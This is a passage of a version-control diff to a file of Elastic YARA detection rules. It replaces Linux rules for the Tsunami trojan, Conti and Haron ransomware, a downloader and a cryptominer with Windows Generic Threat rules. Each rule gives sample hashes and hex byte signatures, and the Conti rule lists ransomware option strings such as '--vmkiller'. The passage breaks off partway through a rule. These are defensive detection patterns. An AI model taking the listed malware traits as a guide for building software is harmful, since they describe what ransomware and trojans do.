+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Generic_Threat.yar#L3084-L3102"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "35f9698e9b9f611b3dd92466f18f97f4a8b4506ed6f10d4ac84303177f43522d"
+		logic_hash = "d959f755d28782b332248085034950a8d4cad3cde13b22254c90ca3952919e1b"
 		score = 75
-		quality = 75
+		quality = 73
 		tags = "FILE, MEMORY"
-		fingerprint = "f0b4686087ddda1070b62ade7ad7eb69d712e15f5645aaba24c0f5b124a283ac"
-		severity = 100
+		fingerprint = "326a08e467cbedb01c640232ad2f4da729894f09ccf5faba93926e1efded9b59"
+		severity = 50
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
-		$a = { 85 3C 93 48 1F 03 36 84 C0 4B 28 7F 18 86 13 08 10 1F EC B0 73 }
+		$a1 = { 48 4B 45 59 5F 43 55 52 52 45 4E 54 5F 55 53 45 52 5C 53 6F 66 74 77 61 72 65 5C 4D 69 63 72 6F 73 6F 66 74 5C 57 69 6E 64 6F 77 73 5C 43 75 72 72 65 6E 74 56 65 72 73 69 6F 6E 5C 49 6E 74 65 72 6E 65 74 20 53 65 74 74 69 6E 67 73 5C 43 6F 6E 6E 65 63 74 69 6F 6E 73 20 5B 31 20 37 20 31 37 5D }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Trojan_Tsunami_D74D7F0C : FILE MEMORY
+rule ELASTIC_Windows_Generic_Threat_59698796 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Trojan Tsunami (Linux.Trojan.Tsunami)"
+		description = "Detects Windows Generic Threat (Windows.Generic.Threat)"
 		author = "Elastic Security"
-		id = "d74d7f0c-70f8-4dd7-aaf4-fd5ab94bb8b2"
-		date = "2021-12-13"
-		modified = "2022-01-26"
+		id = "59698796-0022-486a-a743-6931745f38a0"
+		date = "2024-03-04"
+		modified = "2024-06-12"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Tsunami.yar#L480-L498"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "b0a8b2259c00d563aa387d7e1a1f1527405da19bf4741053f5822071699795e2"
-		logic_hash = "6f5313fc9e838bd06bd4e797ea7fb448073849dc714ecf18809f94900fa11ca2"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Generic_Threat.yar#L3104-L3122"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "35f9698e9b9f611b3dd92466f18f97f4a8b4506ed6f10d4ac84303177f43522d"
+		logic_hash = "59569049dbb09b7e15110fb8de1a146eb7fd606f116b4dd6c75ca973fb62296e"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "0a175d0ff64186d35b64277381f47dfafe559a42a3296a162a951f1b2add1344"
-		severity = 100
+		fingerprint = "9260d02c3e6b163fd376445bd2a9c084ed85a5dbaf0509e15fff4e9c3d147f19"
+		severity = 50
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
-		$a = { 20 79 6F 2C 0A 59 6A 02 5B 6A 04 58 CD 80 B3 7F 6A 01 58 CD }
+		$a1 = { 55 8B EC 81 EC B8 04 00 00 ?? ?? ?? ?? ?? 33 C5 89 45 FC 56 68 00 04 00 00 0F 57 C0 C7 45 F8 00 00 00 00 8D 85 58 FB FF FF C7 85 54 FB FF FF 24 00 00 00 6A 00 50 8B F1 0F 11 45 D8 0F 11 45 E8 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Trojan_Tsunami_71D31510 : FILE MEMORY
+rule ELASTIC_Windows_Generic_Threat_2Ae9B09E : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Trojan Tsunami (Linux.Trojan.Tsunami)"
+		description = "Detects Windows Generic Threat (Windows.Generic.Threat)"
 		author = "Elastic Security"
-		id = "71d31510-cd2c-4b61-b2cf-975d5ed70c93"
-		date = "2021-12-13"
-		modified = "2022-01-26"
+		id = "2ae9b09e-b810-4bd2-9cb8-18b1d504eede"
+		date = "2024-03-05"
+		modified = "2024-06-12"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Tsunami.yar#L500-L518"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "33dd6c0af99455a0ca3908c0117e16a513b39fabbf9c52ba24c7b09226ad8626"
-		logic_hash = "18bfe9347faf1811686a61e0ee0de5cef842beb25fb06793947309135c41de89"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Generic_Threat.yar#L3124-L3142"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "dc8f4784c368676cd411b7d618407c416d9e56d116dd3cd17c3f750e6cb60c40"
+		logic_hash = "183249214e5f8143eb91caf20778b870d17d7a52b6d71ad603827e8716e7e447"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "6c9f3f31e9dcdcd4b414e79e06f0ae633e50ef3e19a437c1b964b40cc74a57cb"
-		severity = 100
+		fingerprint = "13ab32abf52bca58dfac79c09882ec4cb80b606693db19813d84e625bda93549"
+		severity = 50
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
-		$a = { 5C B3 C0 19 17 5E 7B 8B 22 16 17 E0 DE 6E 21 46 FB DD 17 67 }
+		$a1 = { 55 8B EC 51 51 8B 45 08 89 45 FC 8B 45 0C 89 45 F8 8B 45 0C 48 89 45 0C 83 7D F8 00 76 0F 8B 45 FC C6 00 00 8B 45 FC 40 89 45 FC EB DE 8B 45 08 C9 C3 6A 41 5A 0F B7 C1 66 3B D1 77 0C 66 83 F9 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Trojan_Tsunami_97288Af8 : FILE MEMORY
+rule ELASTIC_Windows_Generic_Threat_604A8763 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Trojan Tsunami (Linux.Trojan.Tsunami)"
+		description = "Detects Windows Generic Threat (Windows.Generic.Threat)"
 		author = "Elastic Security"
-		id = "97288af8-f447-48ba-9df3-4e90f1420249"
-		date = "2021-12-13"
-		modified = "2022-01-26"
+		id = "604a8763-7ec1-4474-b238-2ebbaf24afa2"
+		date = "2024-03-05"
+		modified = "2024-06-12"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Tsunami.yar#L520-L538"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "c39eb055c5f71ebfd6881ff04e876f49495c0be5560687586fc47bf5faee0c84"
-		logic_hash = "c5b521cc887236a189dca419476758cee0f1513a8ad81c94b1ff42e4fe232b8e"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Generic_Threat.yar#L3144-L3162"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "2a51fb11032ec011448184a4f2837d05638a7673d16dcf5dcf4005de3f87883a"
+		logic_hash = "cf88c0d102680fc7c16d49b6e8dc49c16b27d5940edf078e667a45e70ebe3883"
 		score = 75
-		quality = 73
+		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "a1e20b699822b47359c8585ff01da06f585b9d7187a433fe0151394b16aa8113"
-		severity = 100
+		fingerprint = "c74c1dc7588d01112c3995b17e9772af15fb1634ebfb417b8c0069ac1f334e74"
+		severity = 50
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
-		$a = { 61 6E 64 65 6D 6F 20 73 68 69 72 61 6E 61 69 20 77 61 20 79 6F 2C }
+		$a1 = { 55 8B EC 51 8B 45 0C 48 89 45 FC EB 07 8B 45 FC 48 89 45 FC 83 7D FC 00 7C 0B 8B 45 08 03 45 FC C6 00 00 EB E8 C9 C3 55 8B EC 83 EC 0C 8B 45 0C 89 45 FC 8B 45 08 3B 45 10 76 2F 8B 45 FC 89 45 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Windows_Ransomware_Haron_A1C12E7E : FILE MEMORY
+rule ELASTIC_Windows_Generic_Threat_F45B3F09 : FILE MEMORY
 {
 	meta:
-		description = "Direct overlap with Thanos/Avaddon"
+		description = "Detects Windows Generic Threat (Windows.Generic.Threat)"
 		author = "Elastic Security"
-		id = "a1c12e7e-a740-4d26-a0ed-310a2b03fe50"
-		date = "2021-08-03"
-		modified = "2021-10-04"
+		id = "f45b3f09-4203-41f7-870e-d8ef5126c391"
+		date = "2024-03-05"
+		modified = "2024-06-12"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Ransomware_Haron.yar#L1-L20"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "6e6b78a1df17d6718daa857827a2a364b7627d9bfd6672406ad72b276014209c"
-		logic_hash = "84df5a13495acee5dc2007cf1d6e1828a832d46fcbad2ca8676643fd47756248"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Generic_Threat.yar#L3164-L3182"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "577f1dbd76030c7e44ed28c748551691d446e268189af94e1fa1545f06395178"
+		logic_hash = "9b01ad1271cc5052a793e5a885aa7289cbaea4a928f60d64194477c3036496ed"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "c6abe96bd2848bb489f856373356dbad3fca273e9d71394ec22960070557ad11"
-		threat_name = "Windows.Ransomware.Haron"
-		severity = 90
+		fingerprint = "dfa72e0780e895ab5aa2369a425c64144e9bd435e55d8a0fefbe08121ae31df5"
+		severity = 50
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
 		os = "windows"
 
 	strings:
-		$a1 = { 00 04 28 0E 00 00 0A 06 FE 06 2A 00 00 06 73 0F 00 00 0A 28 }
+		$a1 = { 28 33 ED 44 8B ED 48 89 6C 24 78 44 8B FD 48 89 AC 24 88 00 00 00 44 8B F5 44 8B E5 E8 43 04 00 00 48 8B F8 8D 75 01 ?? ?? ?? ?? ?? 66 39 07 75 1A 48 63 47 3C 48 8D 48 C0 }
 
 	condition:
-		any of them
+		all of them
 }
-rule ELASTIC_Windows_Ransomware_Haron_23B76Cb7 : FILE MEMORY
+rule ELASTIC_Windows_Generic_Threat_3F390999 : FILE MEMORY
 {
 	meta:
-		description = "Direct overlap with Thanos/Avaddon"
+		description = "Detects Windows Generic Threat (Windows.Generic.Threat)"
 		author = "Elastic Security"
-		id = "23b76cb7-6f96-4012-ad66-2e4e4ae744a9"
-		date = "2021-08-03"
-		modified = "2021-10-04"
+		id = "3f390999-601f-464e-8982-09553adee303"
+		date = "2024-03-05"
+		modified = "2024-06-12"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Ransomware_Haron.yar#L22-L41"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "6e6b78a1df17d6718daa857827a2a364b7627d9bfd6672406ad72b276014209c"
-		logic_hash = "e53c92be617444da0057680ee1ac45cbc1f707194281644bececa44e4ebe3580"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Generic_Threat.yar#L3184-L3202"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "1b6fc4eaef3515058f85551e7e5dffb68b9a0550cd7f9ebcbac158dac9ababf1"
+		logic_hash = "462a7a38ebbb39515ac2c0a10353660d0cadcfb99360adcd200edc1db5a716ba"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "9dc91a56ef17873f3e833d85fa947facde741d80a574ae911261e553a40a2731"
-		threat_name = "Windows.Ransomware.Haron"
-		severity = 90
+		fingerprint = "ccfd5fb305ea48d66f299311c5332587355258bdeeb25cb90c450e8e96df3052"
+		severity = 50
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
 		os = "windows"
 
 	strings:
-		$a1 = { 0A 28 06 00 00 06 26 DE 0A 08 2C 06 08 6F 48 00 00 0A DC DE }
+		$a1 = { 10 48 89 D9 48 8B 59 10 FF 61 08 0F 1F 40 00 49 89 CB C3 49 89 CA 41 8B 43 08 41 FF 23 C3 90 48 C1 E1 04 31 C0 81 E1 F0 0F 00 00 49 01 C8 4C 8D 0C 02 4E 8D 14 00 31 C9 45 8A 1C 0A 48 }
 
 	condition:
-		any of them
+		all of them
 }
-rule ELASTIC_Linux_Ransomware_Conti_53A640F4 : FILE MEMORY
+rule ELASTIC_Windows_Generic_Threat_Abd1C09D : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Ransomware Conti (Linux.Ransomware.Conti)"
+		description = "Detects Windows Generic Threat (Windows.Generic.Threat)"
 		author = "Elastic Security"
-		id = "53a640f4-905c-4b0d-ac4a-9ffdffd74253"
-		date = "2022-09-22"
-		modified = "2022-10-18"
+		id = "abd1c09d-ec66-45ee-b435-302c736cc1f9"
+		date = "2024-03-05"
+		modified = "2024-06-12"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Ransomware_Conti.yar#L1-L19"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "8b57e96e90cd95fc2ba421204b482005fe41c28f506730b6148bcef8316a3201"
-		logic_hash = "b83a47664d8acce7de17ac5972d9fd5e708c8cd3d8ebedc2bacf1397fd25f5d3"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Generic_Threat.yar#L3204-L3222"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "3ff09d2352c2163465d8c86f94baa25ba85c35698a5e3fbc52bc95afc06b7e85"
+		logic_hash = "80e6f317e5cd91cb3819e9251efc8c96218071bec577a38c8784826dd4a657cb"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "d81309f83494b0635444234c514fda0edc05a11ac861c769a007f9f558def148"
-		severity = 100
+		fingerprint = "2f75d8fa11f67f983e40ada50a07e8a6f1b6dfc663524e35a6526381e939d39f"
+		severity = 50
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
-		$a = { 48 D3 EA 48 89 D0 83 E0 01 48 85 C0 0F 95 C0 84 C0 74 0B 8B }
+		$a1 = { 83 EC 0C 8B D1 53 56 57 8B 7D 0C 83 FF 08 77 1A 85 FF 74 16 8B 5D 08 8B 4A 14 8B 72 10 2B CE 8D 04 3B 3B C1 72 11 C6 42 44 00 33 C0 33 D2 5F 5E 5B 8B E5 5D C2 08 00 0F 57 C0 66 0F 13 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Ransomware_Conti_A89C26Cf : FILE MEMORY
+rule ELASTIC_Windows_Generic_Threat_B7870213 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Ransomware Conti (Linux.Ransomware.Conti)"
+		description = "Detects Windows Generic Threat (Windows.Generic.Threat)"
 		author = "Elastic Security"
-		id = "a89c26cf-ccec-40ca-85d3-d014b767fd6a"
-		date = "2023-07-30"
-		modified = "2024-02-13"
+		id = "b7870213-e235-4b2d-83c1-e3c7c486ee8d"
+		date = "2024-03-05"
+		modified = "2024-06-12"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Ransomware_Conti.yar#L21-L42"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "95776f31cbcac08eb3f3e9235d07513a6d7a6bf9f1b7f3d400b2cf0afdb088a7"
-		logic_hash = "301f3f3ece06a1cd6788db6e3003497b27470780eaaad95f40ed926e7623793e"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Generic_Threat.yar#L3224-L3242"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "04cb0d5eecea673acc575e54439398cc00e78cc54d8f43c4b9bc353e4fc4430d"
+		logic_hash = "79b8385543def42259cd9c09d4d7059ff6bb02a9e87cff1bc0a8861e3b333c5f"
 		score = 75
-		quality = 75
+		quality = 73
 		tags = "FILE, MEMORY"
-		fingerprint = "c29bb1bbbd76712bbc3ddd1dfeeec40b230677339dea7441b1f34159ccbbdf9f"
-		severity = 100
+		fingerprint = "c087f84c8572dba64da62c9f317969cbce46e78656e0a75489788add787c2781"
+		severity = 50
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
-		$a1 = "paremeter --size cannot be %d" fullword
-		$a2 = "--vmkiller" fullword
-		$a3 = ".conti" fullword
-		$a4 = "Cannot create file vm-list.txt" fullword
+		$a1 = { 75 28 6B 6E 4E 30 30 30 31 30 32 30 33 30 34 30 35 30 36 30 37 30 38 30 39 31 30 31 31 31 32 31 33 31 34 31 35 31 36 31 37 31 38 31 39 32 30 32 31 32 32 32 33 32 34 32 35 32 36 32 37 32 38 32 39 33 30 33 31 33 32 33 33 33 34 33 35 33 36 33 37 33 38 33 39 34 30 34 31 34 32 34 33 34 34 34 35 34 36 34 37 34 38 34 39 35 30 35 31 35 32 35 33 35 34 35 35 35 36 35 37 35 38 35 39 36 30 36 31 36 32 36 33 36 34 36 35 36 36 36 37 36 38 36 39 37 30 37 31 37 32 37 33 37 34 37 35 37 36 37 37 37 38 37 39 38 30 38 31 38 32 38 33 38 34 38 35 38 36 38 37 38 38 38 39 39 30 39 31 39 32 39 33 39 34 39 35 39 36 39 37 39 38 39 39 }
 
 	condition:
-		3 of them
+		all of them
 }
-rule ELASTIC_Linux_Downloader_Generic_0Bd15Ae0 : FILE MEMORY
+rule ELASTIC_Windows_Generic_Threat_2Bba6Bae : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Downloader Generic (Linux.Downloader.Generic)"
+		description = "Detects Windows Generic Threat (Windows.Generic.Threat)"
 		author = "Elastic Security"
-		id = "0bd15ae0-e4fe-48a9-84a6-f8447b467651"
-		date = "2021-01-12"
-		modified = "2021-09-16"
+		id = "2bba6bae-7c6a-4b89-83d8-0656d7863820"
+		date = "2024-03-05"
+		modified = "2024-06-12"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Downloader_Generic.yar#L1-L19"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "e511efb068e76a4a939c2ce2f2f0a089ef55ca56ee5f2ba922828d23e6181f09"
-		logic_hash = "c9558562d9e9d3b55bd1fba9e55b332e6b4db5a170e0dd349bef1e35f0c7fd21"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Generic_Threat.yar#L3244-L3262"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "d9955c716371422750b77d64256dade6fbd028c8d965db05c0d889d953480373"
+		logic_hash = "59e4b173c21b0ab161adf8d89f253f21403bca706b6bf40b3da00697f87dd509"
 		score = 75
-		quality = 75
+		quality = 73
 		tags = "FILE, MEMORY"
-		fingerprint = "67e14ea693baee8437157f6e450ac5e469b1bab7d9ff401493220575aae9bc91"
-		severity = 100
+		fingerprint = "85dc02cb74c481b5ecb144280827add9665138f0b5d479db5468a94b41e662a3"
+		severity = 50
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
-		$a = { 89 D0 83 C0 01 EB 05 B8 FF FF FF FF 48 8B 5D E8 64 48 33 1C 25 28 00 }
+		$a1 = { 36 35 20 37 39 20 34 31 20 36 39 20 36 34 20 34 38 20 36 43 20 37 37 20 34 39 20 36 41 20 36 46 20 36 37 20 34 39 20 36 42 20 37 30 20 35 38 20 35 36 20 34 33 20 34 39 20 37 33 20 34 39 20 34 33 20 34 41 20 36 38 20 36 32 20 34 37 20 36 33 20 36 39 20 34 46 20 36 39 20 34 31 20 36 39 20 35 32 20 35 37 20 35 32 20 34 35 20 35 35 20 33 30 20 34 35 20 36 39 20 34 39 20 34 38 20 33 30 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Cryptominer_Flystudio_579A3A4D : FILE MEMORY
+rule ELASTIC_Windows_Generic_Threat_4Db75701 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Cryptominer Flystudio (Linux.Cryptominer.Flystudio)"
+		description = "Detects Windows Generic Threat (Windows.Generic.Threat)"
 		author = "Elastic Security"
-		id = "579a3a4d-ddb0-4f73-9224-16fba973d624"
-		date = "2021-01-12"
-		modified = "2021-09-16"
+		id = "4db75701-e7d6-4231-ba00-e127da90bfce"
+		date = "2024-03-05"
+		modified = "2024-06-12"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Cryptominer_Flystudio.yar#L1-L19"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "84afc47554cf42e76ef8d28f2d29c28f3d35c2876cec2fb1581b0ac7cfe719dd"
-		logic_hash = "6579630a4fb6cf5bc8ccb2e4f93f5d549baa6ea9b742b2ee83a52f07352c4741"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Generic_Threat.yar#L3264-L3282"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "fa7847d21d5a350cf96d7ecbcf13dce63e6a0937971cfb479700c5b31850bba9"
+		logic_hash = "65f7d15ed551e069b30ce6c0a5f15d01d24b8b29727950269c9956fcf6dc799d"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "148b27046f72a7645ebced9f76424ffd7b368347311b04c9357d5d4ea8d373fb"
-		severity = 100
+		fingerprint = "d8637b329a212bf37367ba3cc3acf65c9b511d1f06d689d792c519324459530d"
+		severity = 50
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
-		$a = { EF C1 66 0F 72 F1 05 66 0F EF C2 66 0F EF C1 66 0F 6F CD 66 0F }
+		$a1 = { 48 81 EC D0 02 00 00 80 79 20 08 41 8B F1 45 8B F0 4C 8B FA 48 8B F9 0F 84 3A 01 00 00 48 89 58 10 48 89 68 18 43 8D 04 40 48 63 C8 ?? ?? ?? ?? ?? 48 8D 8C 24 20 02 00 00 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Cryptominer_Flystudio_0A370634 : FILE MEMORY
+rule ELASTIC_Windows_Generic_Threat_54A914C9 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Cryptominer Flystudio (Linux.Cryptominer.Flystudio)"
+		description = "Detects Windows Generic Threat (Windows.Generic.Threat)"
 		author = "Elastic Security"
-		id = "0a370634-51de-46bf-9397-c41ef08a7b83"
-		date = "2021-01-12"
-		modified = "2021-09-16"
+		id = "54a914c9-1b00-4cea-9b82-f7ed1df1305f"
+		date = "2024-03-25"
+		modified = "2024-06-12"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Cryptominer_Flystudio.yar#L21-L38"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		logic_hash = "cf924ba45a7dba19fe571bb9da8c4896690c3ad02f732b759a10174b9f61883f"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Generic_Threat.yar#L3284-L3302"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "c418c5ad8030985bb5067cda61caba3b7a0d24cb8d3f93fc09d452fbdf4174ec"
+		logic_hash = "0cc3797564b4c722423f915493e07b0e0fec3085e7a535f9914f82d73c797bed"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "6613ddd986e2bf4b306cd1a5c28952da8068f1bb533c53557e2e2add5c2dbd1f"
-		severity = 100
+		fingerprint = "d3f4083c96130031ce9656ea31bf0914080c88f09c05f8b1168c60487af80c9b"
+		severity = 50
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
-		$a = { 72 D7 19 66 41 0F EF E9 66 0F EF EF 66 0F 6F FD 66 41 0F FE FD 66 44 0F }
+		$a1 = { 20 48 89 CB 48 8B 43 08 4C 8B 48 30 4D 85 C9 74 16 48 8D 4B 10 0F B6 D2 48 83 C4 20 5B 5E 5F 5D 41 5C 49 FF E1 66 90 44 0F B6 40 10 41 80 F8 16 0F 84 81 00 00 00 41 80 F8 18 74 0B 48 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Virus_Rst_1214E2Ae : FILE MEMORY
+rule ELASTIC_Windows_Generic_Threat_38A88967 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Virus Rst (Linux.Virus.Rst)"
+		description = "Detects Windows Generic Threat (Windows.Generic.Threat)"
 		author = "Elastic Security"
-		id = "1214e2ae-90e4-425e-b47f-0a0981623236"
-		date = "2021-04-06"
-		modified = "2021-09-16"
+		id = "38a88967-db0e-4d68-9295-9108cbc98fb9"
+		date = "2024-03-25"
+		modified = "2024-06-12"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Virus_Rst.yar#L1-L19"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "b0e4f44d2456960bb6b20cb468c4ca1390338b83774b7af783c3d03e49eebe44"
-		logic_hash = "82de4a97f414d591daba2d5d49b941ec4c51d6a6af36f97f062eaac5c74ebe30"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Generic_Threat.yar#L3304-L3322"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "6e425eb1a27c4337f05d12992e33fe0047e30259380002797639d51ef9509739"
+		logic_hash = "ddbdb1c39a07141d83173504214c889aff75487570d906413ebc6f262fedf9ae"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "a13a9825815a417be991db57f80dac4d0c541e303e4a4e6bd03c46ece73703ea"
-		severity = 100
+		fingerprint = "1fef2c4c2899bbf9f45732d23654f6437658de2c4dc78dc3d1ff5440b5c2cbcf"
+		severity = 50
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
